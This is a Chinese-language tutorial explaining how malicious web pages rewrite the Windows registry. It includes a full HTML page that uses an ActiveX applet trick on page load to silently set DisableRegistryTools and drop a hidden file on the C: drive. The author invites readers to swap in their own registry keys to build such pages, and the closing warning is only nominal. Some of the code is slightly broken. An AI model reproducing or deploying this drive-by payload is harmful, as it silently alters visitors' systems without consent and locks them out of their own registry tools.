我们上网时常见到一些:“注册表被某某网站改写”或者“上了某某网站后,开机时会弹出对话框。”等等这一类的现象。其实,都只是一些网站利用简单的HTML编程改写注册表而实现的。那么现在,就让我们来对其作进一步的了解,看这究竟是怎么一回事儿!
不知大家对Windows系统注册表了解有多少?我们知道,在Windows系统下,我们可以编写注册表脚本文件『*.reg』来实现对注册表的改写。先让我们来看一个注册表脚本文件:
REGEDIT 4
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System]
"DisableRegistryTools"=DWORD:00000001
不知大家看懂没?以上这个注册表脚本是锁住注册表编辑器。好了,注册表脚本编好了,再让我们看看怎样将其与HTML结合。
以下是一个HTML源码:
1<html>
2<head>
3<meta content="text/html; charset=utf-8" http-equiv="Content-Type"/>
4<script language="****">document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");
5function f()
6{
7try
8{
9a1=document.applets[0];
10a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
11a1.createInstance();
12sh = a1.GetObject();
13a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
14a1.createInstance();
15fo = a1.GetObject();
16if (documents.cookie.indexOf("km169set") == -1)
17{
18sh.RegWrite ("HKCU\\\Software\\\Microsoft\\\Windows\\\CurrentVersion\\\Policies\\\System\\\DisableRegistryTools", 1,"REG_DWORD");
19hd=fo.CreateTextFile();
20hd.write();
21hd.close();
22file=fo.GetFile("c:\\\yntop.htm");
23file.Attributes=6;
24var expdate = new Date((new Date()).getTime() + (1));
25documents.cookie="km169set=km169; expires=" + expdate.toGMTString() + "; path=/;"
26}
27}
28catch(e)
29{
30}
31}
32
33function init()
34{
35setTimeout("f()", 1000);
36}
37init();</script>
38</head>
39</html>
我们注意到在上面这个HTML源码中,有一行:“HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\DisableRegistryTools", 1,"REG_DWORD”,拿这一行与上面那个注册表脚本比较一下,我们就可以发现,它们唯一的不同除了连接符不一样,还有书写格式的细小区别。但是这其中的区别不用我说也能够发现。下面我们来仔细看一下这段HTML源码中其他的一些语句。
相信大家都已经看出,这段HTML源码是利用****来实现对注册表的改写,其中最关键的一句也就是:
sh.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\DisableRegistryTools", 1,"REG_DWORD");
这也就是写入注册表的语句:sh.RegWrite。其格式为:“sh.RegWrite("注册表键",键值,"键值类型");”。如果大家要改,只要将括号里的内容改成自己的内容,其他的均可套用,作成一个最简单的网页。
好了,在这篇文章里,我只向大家介绍怎样编写一个简单的能改写注册表的网页,其他关于注册表的内容,我就不在这里详述了。最后毛窝要声明一点:本片文章内容有一定的危险,请大家慎重使用!